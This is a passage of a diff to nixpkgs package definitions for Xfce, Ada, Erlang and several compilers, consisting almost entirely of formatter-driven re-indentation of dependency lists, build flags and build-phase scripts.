+++ b/pkgs/desktops/xfce/core/libxfce4windowing/default.nix
@@ -26,13 +26,12 @@ mkXfceDerivation {
 
   sha256 = "sha256-Xw1hs854K5dZCAYoBMoqJzdSxPRFUYqEpWxg4DLSK5Q=";
 
-  nativeBuildInputs =
-    [
-      wayland-scanner
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-    ];
+  nativeBuildInputs = [
+    wayland-scanner
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/desktops/xfce/core/thunar/default.nix b/pkgs/desktops/xfce/core/thunar/default.nix
index 4673cf878abe..bffbc73843c1 100644
--- a/pkgs/desktops/xfce/core/thunar/default.nix
+++ b/pkgs/desktops/xfce/core/thunar/default.nix
@@ -32,14 +32,13 @@ let
 
     sha256 = "sha256-YOh7tuCja9F2VvzX+QqsKHJfebXWbhLqvcraq6PBOGo=";
 
-    nativeBuildInputs =
-      [
-        docbook_xsl
-        libxslt
-      ]
-      ++ lib.optionals withIntrospection [
-        gobject-introspection
-      ];
+    nativeBuildInputs = [
+      docbook_xsl
+      libxslt
+    ]
+    ++ lib.optionals withIntrospection [
+      gobject-introspection
+    ];
 
     buildInputs = [
       exo
diff --git a/pkgs/desktops/xfce/core/xfce4-panel/default.nix b/pkgs/desktops/xfce/core/xfce4-panel/default.nix
index 07a1f6ef08d5..4bbd3cde2dfe 100644
--- a/pkgs/desktops/xfce/core/xfce4-panel/default.nix
+++ b/pkgs/desktops/xfce/core/xfce4-panel/default.nix
@@ -41,14 +41,13 @@ mkXfceDerivation {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      python3
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      vala # vala bindings require GObject introspection
-    ];
+  nativeBuildInputs = [
+    python3
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    vala # vala bindings require GObject introspection
+  ];
 
   buildInputs = [
     cairo
diff --git a/pkgs/desktops/xfce/core/xfce4-settings/default.nix b/pkgs/desktops/xfce/core/xfce4-settings/default.nix
index d1665d3aa667..397f76744717 100644
--- a/pkgs/desktops/xfce/core/xfce4-settings/default.nix
+++ b/pkgs/desktops/xfce/core/xfce4-settings/default.nix
@@ -35,33 +35,31 @@ mkXfceDerivation {
     wayland-scanner
   ];
 
-  buildInputs =
-    [
-      exo
-      garcon
-      glib
-      gtk3
-      gtk-layer-shell
-      libnotify
-      libX11
-      libXext
-      libxfce4ui
-      libxfce4util
-      libxklavier
-      wlr-protocols
-      xf86inputlibinput
-      xfconf
-    ]
-    ++ lib.optionals withUpower [ upower ]
-    ++ lib.optionals withColord [ colord ];
+  buildInputs = [
+    exo
+    garcon
+    glib
+    gtk3
+    gtk-layer-shell
+    libnotify
+    libX11
+    libXext
+    libxfce4ui
+    libxfce4util
+    libxklavier
+    wlr-protocols
+    xf86inputlibinput
+    xfconf
+  ]
+  ++ lib.optionals withUpower [ upower ]
+  ++ lib.optionals withColord [ colord ];
 
-  configureFlags =
-    [
-      "--enable-pluggable-dialogs"
-      "--enable-sound-settings"
-    ]
-    ++ lib.optionals withUpower [ "--enable-upower-glib" ]
-    ++ lib.optionals withColord [ "--enable-colord" ];
+  configureFlags = [
+    "--enable-pluggable-dialogs"
+    "--enable-sound-settings"
+  ]
+  ++ lib.optionals withUpower [ "--enable-upower-glib" ]
+  ++ lib.optionals withColord [ "--enable-colord" ];
 
   meta = with lib; {
     description = "Settings manager for Xfce";
diff --git a/pkgs/desktops/xfce/core/xfconf/default.nix b/pkgs/desktops/xfce/core/xfconf/default.nix
index 5b2b83dcccb8..7de2216a9b27 100644
--- a/pkgs/desktops/xfce/core/xfconf/default.nix
+++ b/pkgs/desktops/xfce/core/xfconf/default.nix
@@ -20,14 +20,13 @@ mkXfceDerivation {
 
   sha256 = "sha256-U+Sk7ubBr1ZD1GLQXlxrx0NQdhV/WpVBbnLcc94Tjcw=";
 
-  nativeBuildInputs =
-    [
-      perl
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      vala # vala bindings require GObject introspection
-    ];
+  nativeBuildInputs = [
+    perl
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    vala # vala bindings require GObject introspection
+  ];
 
   buildInputs = [ libxfce4util ];
 
diff --git a/pkgs/desktops/xfce/mkXfceDerivation.nix b/pkgs/desktops/xfce/mkXfceDerivation.nix
index 05c7812f5d00..4b38d62d5934 100644
--- a/pkgs/desktops/xfce/mkXfceDerivation.nix
+++ b/pkgs/desktops/xfce/mkXfceDerivation.nix
@@ -72,7 +72,8 @@ let
       updateScript = gitUpdater {
         inherit rev-prefix odd-unstable patchlevel-unstable;
       };
-    } // passthru;
+    }
+    // passthru;
 
     meta =
       with lib;
diff --git a/pkgs/desktops/xfce/panel-plugins/xfce4-dockbarx-plugin/default.nix b/pkgs/desktops/xfce/panel-plugins/xfce4-dockbarx-plugin/default.nix
index 6e7035c53720..04c9ca7dc66c 100644
--- a/pkgs/desktops/xfce/panel-plugins/xfce4-dockbarx-plugin/default.nix
+++ b/pkgs/desktops/xfce/panel-plugins/xfce4-dockbarx-plugin/default.nix
@@ -42,7 +42,8 @@ stdenv.mkDerivation rec {
     python3Packages.python
     xfce.xfce4-panel
     xfce.xfconf
-  ] ++ pythonPath;
+  ]
+  ++ pythonPath;
 
   postPatch = ''
     # We execute the wrapped xfce4-panel-plug directly.
diff --git a/pkgs/desktops/xfce/panel-plugins/xfce4-sensors-plugin/default.nix b/pkgs/desktops/xfce/panel-plugins/xfce4-sensors-plugin/default.nix
index 92b00ce574f8..543d1248f25a 100644
--- a/pkgs/desktops/xfce/panel-plugins/xfce4-sensors-plugin/default.nix
+++ b/pkgs/desktops/xfce/panel-plugins/xfce4-sensors-plugin/default.nix
@@ -44,20 +44,20 @@ stdenv.mkDerivation rec {
     lm_sensors
     hddtemp
     netcat-gnu
-  ] ++ lib.optionals nvidiaSupport [ libXNVCtrl ];
+  ]
+  ++ lib.optionals nvidiaSupport [ libXNVCtrl ];
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      "--with-pathhddtemp=${hddtemp}/bin/hddtemp"
-      "--with-pathnetcat=${netcat-gnu}/bin/netcat"
-    ]
-    ++ lib.optionals nvidiaSupport [
-      # Have to be explicitly enabled since this tries to figure out the default
-      # based on the existence of a hardcoded `/usr/include/NVCtrl` path.
-      "--enable-xnvctrl"
-    ];
+  configureFlags = [
+    "--with-pathhddtemp=${hddtemp}/bin/hddtemp"
+    "--with-pathnetcat=${netcat-gnu}/bin/netcat"
+  ]
+  ++ lib.optionals nvidiaSupport [
+    # Have to be explicitly enabled since this tries to figure out the default
+    # based on the existence of a hardcoded `/usr/include/NVCtrl` path.
+    "--enable-xnvctrl"
+  ];
 
   passthru.updateScript = gitUpdater {
     url = "https://gitlab.xfce.org/panel-plugins/${pname}";
diff --git a/pkgs/desktops/xfce/thunar-plugins/vcs/default.nix b/pkgs/desktops/xfce/thunar-plugins/vcs/default.nix
index ca61c18632ec..4d399d3bfc45 100644
--- a/pkgs/desktops/xfce/thunar-plugins/vcs/default.nix
+++ b/pkgs/desktops/xfce/thunar-plugins/vcs/default.nix
@@ -19,19 +19,18 @@ mkXfceDerivation {
 
   sha256 = "sha256-e9t6lIsvaV/2AAL/7I4Pbcokvy7Lp2+D9sJefTZqB1g=";
 
-  buildInputs =
-    [
-      thunar
-      exo
-      libxfce4util
-      gtk3
-      glib
-    ]
-    ++ lib.optionals withSubversion [
-      apr
-      aprutil
-      subversion
-    ];
+  buildInputs = [
+    thunar
+    exo
+    libxfce4util
+    gtk3
+    glib
+  ]
+  ++ lib.optionals withSubversion [
+    apr
+    aprutil
+    subversion
+  ];
 
   meta = {
     description = "Thunar plugin providing support for Subversion and Git";
diff --git a/pkgs/development/ada-modules/gnatcoll/bindings.nix b/pkgs/development/ada-modules/gnatcoll/bindings.nix
index e1d9900a8b7f..5ce297ca684e 100644
--- a/pkgs/development/ada-modules/gnatcoll/bindings.nix
+++ b/pkgs/development/ada-modules/gnatcoll/bindings.nix
@@ -56,7 +56,8 @@ stdenv.mkDerivation rec {
   # downstream executable.
   propagatedBuildInputs = [
     gnatcoll-core
-  ] ++ libsFor."${component}" or [ ];
+  ]
+  ++ libsFor."${component}" or [ ];
 
   # explicit flag for GPL acceptance because upstream
   # allows a gcc runtime exception for all bindings
diff --git a/pkgs/development/ada-modules/gnatcoll/db.nix b/pkgs/development/ada-modules/gnatcoll/db.nix
index ad2c90c44438..e124d1159666 100644
--- a/pkgs/development/ada-modules/gnatcoll/db.nix
+++ b/pkgs/development/ada-modules/gnatcoll/db.nix
@@ -85,21 +85,21 @@ stdenv.mkDerivation rec {
   # the closure size dramatically
   ${if onlyExecutable then "buildInputs" else "propagatedBuildInputs"} = [
     gnatcoll-core
-  ] ++ libsFor."${component}" or [ ];
+  ]
+  ++ libsFor."${component}" or [ ];
 
-  makeFlags =
-    [
-      "-C"
-      component
-      "PROCESSORS=$(NIX_BUILD_CORES)"
-      # confusingly, for gprbuild --target is autoconf --host
-      "TARGET=${stdenv.hostPlatform.config}"
-      "prefix=${placeholder "out"}"
-    ]
-    ++ lib.optionals (component == "sqlite") [
-      # link against packaged, not vendored libsqlite3
-      "GNATCOLL_SQLITE=external"
-    ];
+  makeFlags = [
+    "-C"
+    component
+    "PROCESSORS=$(NIX_BUILD_CORES)"
+    # confusingly, for gprbuild --target is autoconf --host
+    "TARGET=${stdenv.hostPlatform.config}"
+    "prefix=${placeholder "out"}"
+  ]
+  ++ lib.optionals (component == "sqlite") [
+    # link against packaged, not vendored libsqlite3
+    "GNATCOLL_SQLITE=external"
+  ];
 
   meta = with lib; {
     description = "GNAT Components Collection - Database packages";
diff --git a/pkgs/development/ada-modules/gnatprove/default.nix b/pkgs/development/ada-modules/gnatprove/default.nix
index c59c77c3a4cb..ae4ef6fa930d 100644
--- a/pkgs/development/ada-modules/gnatprove/default.nix
+++ b/pkgs/development/ada-modules/gnatprove/default.nix
@@ -85,38 +85,36 @@ stdenv.mkDerivation {
 
   patches = thisSpark.patches or [ ];
 
-  nativeBuildInputs =
-    [
-      gnat
-      gprbuild
-      python3
-      makeWrapper
-    ]
-    ++ (with ocamlPackages; [
-      ocaml
-      findlib
-      menhir
-    ]);
+  nativeBuildInputs = [
+    gnat
+    gprbuild
+    python3
+    makeWrapper
+  ]
+  ++ (with ocamlPackages; [
+    ocaml
+    findlib
+    menhir
+  ]);
 
-  buildInputs =
-    [
-      gnatcoll-core
-    ]
-    ++ (with ocamlPackages; [
-      ocamlgraph
-      zarith
-      ppx_deriving
-      ppx_sexp_conv
-      camlzip
-      menhirLib
-      num
-      re
-      sexplib
-      yojson
-    ])
-    ++ (lib.optionals (gnat_version == "14") [
-      gpr2_24_2_next
-    ]);
+  buildInputs = [
+    gnatcoll-core
+  ]
+  ++ (with ocamlPackages; [
+    ocamlgraph
+    zarith
+    ppx_deriving
+    ppx_sexp_conv
+    camlzip
+    menhirLib
+    num
+    re
+    sexplib
+    yojson
+  ])
+  ++ (lib.optionals (gnat_version == "14") [
+    gpr2_24_2_next
+  ]);
 
   propagatedBuildInputs = [
     gprbuild
diff --git a/pkgs/development/ada-modules/gpr2/default.nix b/pkgs/development/ada-modules/gpr2/default.nix
index db7fd76264cb..491f21b2869c 100644
--- a/pkgs/development/ada-modules/gpr2/default.nix
+++ b/pkgs/development/ada-modules/gpr2/default.nix
@@ -29,16 +29,15 @@ stdenv.mkDerivation rec {
     gprbuild
   ];
 
-  makeFlags =
-    [
-      "prefix=$(out)"
-      "PROCESSORS=$(NIX_BUILD_CORES)"
-      "ENABLE_SHARED=${if enableShared then "yes" else "no"}"
-      "GPR2_BUILD=release"
-    ]
-    ++ lib.optionals (gpr2kbdir != null) [
-      "GPR2KBDIR=${gpr2kbdir}"
-    ];
+  makeFlags = [
+    "prefix=$(out)"
+    "PROCESSORS=$(NIX_BUILD_CORES)"
+    "ENABLE_SHARED=${if enableShared then "yes" else "no"}"
+    "GPR2_BUILD=release"
+  ]
+  ++ lib.optionals (gpr2kbdir != null) [
+    "GPR2KBDIR=${gpr2kbdir}"
+  ];
 
   configurePhase = ''
     runHook preConfigure
diff --git a/pkgs/development/ada-modules/gprbuild/boot.nix b/pkgs/development/ada-modules/gprbuild/boot.nix
index 8b7ad156d8a2..99eec758a156 100644
--- a/pkgs/development/ada-modules/gprbuild/boot.nix
+++ b/pkgs/development/ada-modules/gprbuild/boot.nix
@@ -54,16 +54,15 @@ stdenv.mkDerivation {
   # introducing a wrapper for it in the future remains TODO.
   # For the moment this doesn't matter since we have no situation
   # were gprbuild is used to build something used at build time.
-  setupHooks =
-    [
-      ./gpr-project-path-hook.sh
-    ]
-    ++ lib.optionals stdenv.targetPlatform.isDarwin [
-      # This setupHook replaces the paths of shared libraries starting
-      # with @rpath with the absolute paths on Darwin, so that the
-      # binaries can be run without additional setup.
-      ./gpr-project-darwin-rpath-hook.sh
-    ];
+  setupHooks = [
+    ./gpr-project-path-hook.sh
+  ]
+  ++ lib.optionals stdenv.targetPlatform.isDarwin [
+    # This setupHook replaces the paths of shared libraries starting
+    # with @rpath with the absolute paths on Darwin, so that the
+    # binaries can be run without additional setup.
+    ./gpr-project-darwin-rpath-hook.sh
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/development/ada-modules/gprbuild/default.nix b/pkgs/development/ada-modules/gprbuild/default.nix
index 2d661abd4325..b6f4a32fb441 100644
--- a/pkgs/development/ada-modules/gprbuild/default.nix
+++ b/pkgs/development/ada-modules/gprbuild/default.nix
@@ -30,17 +30,16 @@ stdenv.mkDerivation {
     xmlada
   ];
 
-  makeFlags =
-    [
-      "ENABLE_SHARED=${if stdenv.hostPlatform.isStatic then "no" else "yes"}"
-      "PROCESSORS=$(NIX_BUILD_CORES)"
-      # confusingly, for gprbuild --target is autoconf --host
-      "TARGET=${stdenv.hostPlatform.config}"
-      "prefix=${placeholder "out"}"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isStatic) [
-      "LIBRARY_TYPE=relocatable"
-    ];
+  makeFlags = [
+    "ENABLE_SHARED=${if stdenv.hostPlatform.isStatic then "no" else "yes"}"
+    "PROCESSORS=$(NIX_BUILD_CORES)"
+    # confusingly, for gprbuild --target is autoconf --host
+    "TARGET=${stdenv.hostPlatform.config}"
+    "prefix=${placeholder "out"}"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isStatic) [
+    "LIBRARY_TYPE=relocatable"
+  ];
 
   env = lib.optionalAttrs stdenv.hostPlatform.isDarwin {
     # Ensure that there is enough space for the `fixDarwinDylibNames` hook to
diff --git a/pkgs/development/beam-modules/build-erlang-mk.nix b/pkgs/development/beam-modules/build-erlang-mk.nix
index c5e8e6b5ad18..bf89298c512d 100644
--- a/pkgs/development/beam-modules/build-erlang-mk.nix
+++ b/pkgs/development/beam-modules/build-erlang-mk.nix
@@ -67,10 +67,11 @@ let
         ];
         propagatedBuildInputs = beamDeps;
 
-        buildFlags =
-          [ "SKIP_DEPS=1" ]
-          ++ lib.optional (enableDebugInfo || erlang.debugInfo) ''ERL_OPTS="$ERL_OPTS +debug_info"''
-          ++ buildFlags;
+        buildFlags = [
+          "SKIP_DEPS=1"
+        ]
+        ++ lib.optional (enableDebugInfo || erlang.debugInfo) ''ERL_OPTS="$ERL_OPTS +debug_info"''
+        ++ buildFlags;
 
         configurePhase =
           if configurePhase == null then
diff --git a/pkgs/development/beam-modules/build-rebar3.nix b/pkgs/development/beam-modules/build-rebar3.nix
index 781b6a7a78fe..f8a3d668da48 100644
--- a/pkgs/development/beam-modules/build-rebar3.nix
+++ b/pkgs/development/beam-modules/build-rebar3.nix
@@ -76,11 +76,10 @@ let
           addToSearchPath ERL_LIBS "$1/lib/erlang/lib/"
         '';
 
-        postPatch =
-          ''
-            rm -f rebar rebar3
-          ''
-          + postPatch;
+        postPatch = ''
+          rm -f rebar rebar3
+        ''
+        + postPatch;
 
         buildPhase = ''
           runHook preBuild
@@ -101,7 +100,8 @@ let
 
         meta = {
           inherit (erlang.meta) platforms;
-        } // meta;
+        }
+        // meta;
 
         passthru = {
           packageName = name;
diff --git a/pkgs/development/beam-modules/mix-release.nix b/pkgs/development/beam-modules/mix-release.nix
index 59a56b98f012..a898f0d5a789 100644
--- a/pkgs/development/beam-modules/mix-release.nix
+++ b/pkgs/development/beam-modules/mix-release.nix
@@ -141,24 +141,23 @@ stdenv.mkDerivation (
     LANG = if stdenv.isLinux then "C.UTF-8" else "C";
     LC_CTYPE = if stdenv.isLinux then "C.UTF-8" else "UTF-8";
 
-    postUnpack =
-      ''
-        # Mix and Hex
-        export MIX_HOME="$TEMPDIR/mix"
-        export HEX_HOME="$TEMPDIR/hex"
+    postUnpack = ''
+      # Mix and Hex
+      export MIX_HOME="$TEMPDIR/mix"
+      export HEX_HOME="$TEMPDIR/hex"
 
-        # Rebar
-        export REBAR_GLOBAL_CONFIG_DIR="$TEMPDIR/rebar3"
-        export REBAR_CACHE_DIR="$TEMPDIR/rebar3.cache"
+      # Rebar
+      export REBAR_GLOBAL_CONFIG_DIR="$TEMPDIR/rebar3"
+      export REBAR_CACHE_DIR="$TEMPDIR/rebar3.cache"
 
-        ${lib.optionalString (mixFodDeps != null) ''
-          # Compilation of the dependencies will require that the dependency path is
-          # writable, thus a copy to the $TEMPDIR is inevitable here.
-          export MIX_DEPS_PATH="$TEMPDIR/deps"
-          cp --no-preserve=mode -R "${mixFodDeps}" "$MIX_DEPS_PATH"
-        ''}
-      ''
-      + (attrs.postUnpack or "");
+      ${lib.optionalString (mixFodDeps != null) ''
+        # Compilation of the dependencies will require that the dependency path is
+        # writable, thus a copy to the $TEMPDIR is inevitable here.
+        export MIX_DEPS_PATH="$TEMPDIR/deps"
+        cp --no-preserve=mode -R "${mixFodDeps}" "$MIX_DEPS_PATH"
+      ''}
+    ''
+    + (attrs.postUnpack or "");
 
     configurePhase =
       attrs.configurePhase or ''
@@ -229,64 +228,63 @@ stdenv.mkDerivation (
         runHook postInstall
       '';
 
-    postFixup =
-      ''
-        echo "removing files for Microsoft Windows"
-        rm -f "$out"/bin/*.bat
+    postFixup = ''
+      echo "removing files for Microsoft Windows"
+      rm -f "$out"/bin/*.bat
 
-        echo "wrapping programs in $out/bin with their runtime deps"
-        for f in $(find $out/bin/ -type f -executable); do
-          wrapProgram "$f" \
-            --prefix PATH : ${
-              lib.makeBinPath [
-                coreutils
-                gnused
-                gnugrep
-                gawk
-              ]
-            }
+      echo "wrapping programs in $out/bin with their runtime deps"
+      for f in $(find $out/bin/ -type f -executable); do
+        wrapProgram "$f" \
+          --prefix PATH : ${
+            lib.makeBinPath [
+              coreutils
+              gnused
+              gnugrep
+              gawk
+            ]
+          }
+      done
+    ''
+    + lib.optionalString removeCookie ''
+      if [ -e $out/releases/COOKIE ]; then
+        echo "removing $out/releases/COOKIE"
+        rm $out/releases/COOKIE
+      fi
+    ''
+    + ''
+      if [ -e $out/erts-* ]; then
+        # ERTS is included in the release, then erlang is not required as a runtime dependency.
+        # But, erlang is still referenced in some places. To removed references to erlang,
+        # following steps are required.
+
+        # 1. remove references to erlang from plain text files
+        for file in $(rg "${erlang}/lib/erlang" "$out" --files-with-matches); do
+          echo "removing references to erlang in $file"
+          substituteInPlace "$file" --replace "${erlang}/lib/erlang" "$out"
         done
-      ''
-      + lib.optionalString removeCookie ''
-        if [ -e $out/releases/COOKIE ]; then
-          echo "removing $out/releases/COOKIE"
-          rm $out/releases/COOKIE
-        fi
-      ''
-      + ''
-        if [ -e $out/erts-* ]; then
-          # ERTS is included in the release, then erlang is not required as a runtime dependency.
-          # But, erlang is still referenced in some places. To removed references to erlang,
-          # following steps are required.
 
-          # 1. remove references to erlang from plain text files
-          for file in $(rg "${erlang}/lib/erlang" "$out" --files-with-matches); do
-            echo "removing references to erlang in $file"
-            substituteInPlace "$file" --replace "${erlang}/lib/erlang" "$out"
-          done
+        # 2. remove references to erlang from .beam files
+        #
+        # No need to do anything, because it has been handled by "deterministic" option specified
+        # by ERL_COMPILER_OPTIONS.
 
-          # 2. remove references to erlang from .beam files
-          #
-          # No need to do anything, because it has been handled by "deterministic" option specified
-          # by ERL_COMPILER_OPTIONS.
+        # 3. remove references to erlang from normal binary files
+        for file in $(rg "${erlang}/lib/erlang" "$out" --files-with-matches --binary --iglob '!*.beam'); do
+          echo "removing references to erlang in $file"
+          # use bbe to substitute strings in binary files, because using substituteInPlace
+          # on binaries will raise errors
+          bbe -e "s|${erlang}/lib/erlang|$out|" -o "$file".tmp "$file"
+          rm -f "$file"
+          mv "$file".tmp "$file"
+        done
 
-          # 3. remove references to erlang from normal binary files
-          for file in $(rg "${erlang}/lib/erlang" "$out" --files-with-matches --binary --iglob '!*.beam'); do
-            echo "removing references to erlang in $file"
-            # use bbe to substitute strings in binary files, because using substituteInPlace
-            # on binaries will raise errors
-            bbe -e "s|${erlang}/lib/erlang|$out|" -o "$file".tmp "$file"
-            rm -f "$file"
-            mv "$file".tmp "$file"
-          done
-
-          # References to erlang should be removed from output after above processing.
-        fi
-      ''
-      + lib.optionalString stripDebug ''
-        # Strip debug symbols to avoid hardreferences to "foreign" closures actually
-        # not needed at runtime, while at the same time reduce size of BEAM files.
-        erl -noinput -eval 'lists:foreach(fun(F) -> io:format("Stripping ~p.~n", [F]), beam_lib:strip(F) end, filelib:wildcard("'"$out"'/**/*.beam"))' -s init stop
-      '';
+        # References to erlang should be removed from output after above processing.
+      fi
+    ''
+    + lib.optionalString stripDebug ''
+      # Strip debug symbols to avoid hardreferences to "foreign" closures actually
+      # not needed at runtime, while at the same time reduce size of BEAM files.
+      erl -noinput -eval 'lists:foreach(fun(F) -> io:format("Stripping ~p.~n", [F]), beam_lib:strip(F) end, filelib:wildcard("'"$out"'/**/*.beam"))' -s init stop
+    '';
   }
 )
diff --git a/pkgs/development/beam-modules/rebar3-release.nix b/pkgs/development/beam-modules/rebar3-release.nix
index 17f8bac62e48..472e64978d52 100644
--- a/pkgs/development/beam-modules/rebar3-release.nix
+++ b/pkgs/development/beam-modules/rebar3-release.nix
@@ -111,7 +111,8 @@ let
 
         meta = {
           inherit (erlang.meta) platforms;
-        } // meta;
+        }
+        // meta;
 
         passthru = (
           {
diff --git a/pkgs/development/compilers/binaryen/default.nix b/pkgs/development/compilers/binaryen/default.nix
index f6debb04ad82..1943ce9e6b17 100644
--- a/pkgs/development/compilers/binaryen/default.nix
+++ b/pkgs/development/compilers/binaryen/default.nix
@@ -56,28 +56,27 @@ stdenv.mkDerivation rec {
     LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$PWD/lib python3 ../check.py $tests
   '';
 
-  tests =
-    [
-      "version"
-      "wasm-opt"
-      "wasm-dis"
-      "crash"
-      "dylink"
-      "ctor-eval"
-      "wasm-metadce"
-      "wasm-reduce"
-      "spec"
-      "lld"
-      "wasm2js"
-      # "unit" # fails on test.unit.test_cluster_fuzz.ClusterFuzz
-      # "binaryenjs" "binaryenjs_wasm" # not building this
-      # "lit" # fails on d8/fuzz_shell*
-      "gtest"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "example"
-      "validator"
-    ];
+  tests = [
+    "version"
+    "wasm-opt"
+    "wasm-dis"
+    "crash"
+    "dylink"
+    "ctor-eval"
+    "wasm-metadce"
+    "wasm-reduce"
+    "spec"
+    "lld"
+    "wasm2js"
+    # "unit" # fails on test.unit.test_cluster_fuzz.ClusterFuzz
+    # "binaryenjs" "binaryenjs_wasm" # not building this
+    # "lit" # fails on d8/fuzz_shell*
+    "gtest"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "example"
+    "validator"
+  ];
 
   doCheck = (stdenv.hostPlatform.isLinux || stdenv.hostPlatform.isDarwin);
 
diff --git a/pkgs/development/compilers/c0/default.nix b/pkgs/development/compilers/c0/default.nix
index 4f82e9cf2ed2..52acec98cef8 100644
--- a/pkgs/development/compilers/c0/default.nix
+++ b/pkgs/development/compilers/c0/default.nix
@@ -29,20 +29,19 @@ stdenv.mkDerivation rec {
     ./use-system-libraries.patch
   ];
 
-  postPatch =
-    ''
-      substituteInPlace cc0/Makefile \
-        --replace '$(shell ./get_version.sh)' '${version}'
-      substituteInPlace cc0/compiler/bin/buildid \
-        --replace '`../get_version.sh`' '${version}' \
-        --replace '`date`' '1970-01-01T00:00:00Z' \
-        --replace '`hostname`' 'nixpkgs'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      for f in cc0/compiler/bin/coin-o0-support cc0/compiler/bin/cc0-o0-support; do
-        substituteInPlace $f --replace '$(brew --prefix gnu-getopt)' '${getopt}'
-      done
-    '';
+  postPatch = ''
+    substituteInPlace cc0/Makefile \
+      --replace '$(shell ./get_version.sh)' '${version}'
+    substituteInPlace cc0/compiler/bin/buildid \
+      --replace '`../get_version.sh`' '${version}' \
+      --replace '`date`' '1970-01-01T00:00:00Z' \
+      --replace '`hostname`' 'nixpkgs'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    for f in cc0/compiler/bin/coin-o0-support cc0/compiler/bin/cc0-o0-support; do
+      substituteInPlace $f --replace '$(brew --prefix gnu-getopt)' '${getopt}'
+    done
+  '';
 
   preConfigure = ''
     cd cc0/
@@ -52,7 +51,8 @@ stdenv.mkDerivation rec {
     getopt
     mlton
     pkg-config
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.sigtool ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.sigtool ];
 
   buildInputs = [
     boehmgc
diff --git a/pkgs/development/compilers/chicken/4/chicken.nix b/pkgs/development/compilers/chicken/4/chicken.nix
index 3ac84e1fdbe0..21999870e3b2 100644
--- a/pkgs/development/compilers/chicken/4/chicken.nix
+++ b/pkgs/development/compilers/chicken/4/chicken.nix
@@ -45,17 +45,16 @@ stdenv.mkDerivation {
   # -fno-strict-overflow is not a supported argument in clang on darwin
   hardeningDisable = lib.optionals stdenv.hostPlatform.isDarwin [ "strictoverflow" ];
 
-  makeFlags =
-    [
-      "PLATFORM=${platform}"
-      "PREFIX=$(out)"
-      "VARDIR=$(out)/var/lib"
-    ]
-    ++ (lib.optionals stdenv.hostPlatform.isDarwin [
-      "XCODE_TOOL_PATH=${darwin.binutils.bintools}/bin"
-      "C_COMPILER=$(CC)"
-      "POSTINSTALL_PROGRAM=${stdenv.cc.targetPrefix}install_name_tool"
-    ]);
+  makeFlags = [
+    "PLATFORM=${platform}"
+    "PREFIX=$(out)"
+    "VARDIR=$(out)/var/lib"
+  ]
+  ++ (lib.optionals stdenv.hostPlatform.isDarwin [
+    "XCODE_TOOL_PATH=${darwin.binutils.bintools}/bin"
+    "C_COMPILER=$(CC)"
+    "POSTINSTALL_PROGRAM=${stdenv.cc.targetPrefix}install_name_tool"
+  ]);
 
   # We need a bootstrap-chicken to regenerate the c-files after
   # applying a patch to add support for CHICKEN_REPOSITORY_EXTRA
@@ -63,13 +62,12 @@ stdenv.mkDerivation {
     ./0001-Introduce-CHICKEN_REPOSITORY_EXTRA.patch
   ];
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      darwin.autoSignDarwinBinariesHook
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    darwin.autoSignDarwinBinariesHook
+  ];
 
   buildInputs = lib.optionals (bootstrap-chicken != null) [
     bootstrap-chicken
diff --git a/pkgs/development/compilers/chicken/4/eggDerivation.nix b/pkgs/development/compilers/chicken/4/eggDerivation.nix
index b36cfce94d84..cf361be35b90 100644
--- a/pkgs/development/compilers/chicken/4/eggDerivation.nix
+++ b/pkgs/development/compilers/chicken/4/eggDerivation.nix
@@ -50,7 +50,8 @@ stdenv.mkDerivation (
 
     meta = {
       inherit (chicken.meta) platforms;
-    } // args.meta or { };
+    }
+    // args.meta or { };
   }
   // (builtins.removeAttrs args [
     "name"
diff --git a/pkgs/development/compilers/chicken/5/chicken.nix b/pkgs/development/compilers/chicken/5/chicken.nix
index 8ef82e0e7d5e..06b9dd6c1485 100644
--- a/pkgs/development/compilers/chicken/5/chicken.nix
+++ b/pkgs/development/compilers/chicken/5/chicken.nix
@@ -41,31 +41,29 @@ stdenv.mkDerivation (finalAttrs: {
 
   setupHook = lib.optional (bootstrap-chicken != null) ./setup-hook.sh;
 
-  makeFlags =
-    [
-      "PLATFORM=${platform}"
-      "PREFIX=$(out)"
-      "C_COMPILER=$(CC)"
-      "CXX_COMPILER=$(CXX)"
-    ]
-    ++ (lib.optionals stdenv.hostPlatform.isDarwin [
-      "XCODE_TOOL_PATH=${darwin.binutils.bintools}/bin"
-      "LINKER_OPTIONS=-headerpad_max_install_names"
-      "POSTINSTALL_PROGRAM=install_name_tool"
-    ])
-    ++ (lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "HOSTSYSTEM=${stdenv.hostPlatform.config}"
-      "TARGET_C_COMPILER=${stdenv.cc}/bin/${stdenv.cc.targetPrefix}cc"
-      "TARGET_CXX_COMPILER=${stdenv.cc}/bin/${stdenv.cc.targetPrefix}c++"
-    ]);
+  makeFlags = [
+    "PLATFORM=${platform}"
+    "PREFIX=$(out)"
+    "C_COMPILER=$(CC)"
+    "CXX_COMPILER=$(CXX)"
+  ]
+  ++ (lib.optionals stdenv.hostPlatform.isDarwin [
+    "XCODE_TOOL_PATH=${darwin.binutils.bintools}/bin"
+    "LINKER_OPTIONS=-headerpad_max_install_names"
